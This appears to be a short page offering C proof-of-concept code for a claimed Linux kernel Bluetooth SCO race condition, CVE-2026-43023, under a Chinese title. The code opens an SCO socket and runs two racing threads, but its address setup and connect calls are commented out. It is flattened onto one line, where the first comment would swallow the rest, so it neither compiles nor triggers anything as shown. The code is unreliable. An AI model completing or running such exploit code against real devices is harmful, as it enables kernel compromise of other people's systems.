CVE-2026-43023 Linux内核蓝牙SCO竞态条件漏洞

#include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <sys/socket.h> #include <unistd.h> #include <bluetooth/bluetooth.h> #include <bluetooth/sco.h> // Target Bluetooth Address (Needs to be adjusted based on environment) // bdaddr_t target = {{0x00, 0x11, 0x22, 0x33, 0x44, 0x55}}; void *thread_connect(void *arg) { int sock = *(int *)arg; struct sockaddr_sco addr; // memset(&addr, 0, sizeof(addr)); // addr.sco_family = AF_BLUETOOTH; // bacpy(&addr.sco_bdaddr, &target); // Loop to increase race window probability for(int i = 0; i < 100; i++) { // connect(sock, (struct sockaddr *)&addr, sizeof(addr)); // In a real PoC, specific HCI interactions might be needed to trigger the disconnect timing usleep(100); } return NULL; } int main() { int sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO); if (sock < 0) { perror("socket"); return 1; } pthread_t t1, t2; // Create two threads to race on the same socket pthread_create(&t1, NULL, thread_connect, &sock); pthread_create(&t2, NULL, thread_connect, &sock); pthread_join(t1, NULL); pthread_join(t2, NULL); close(sock); printf("Race condition attempt finished.\n"); return 0; }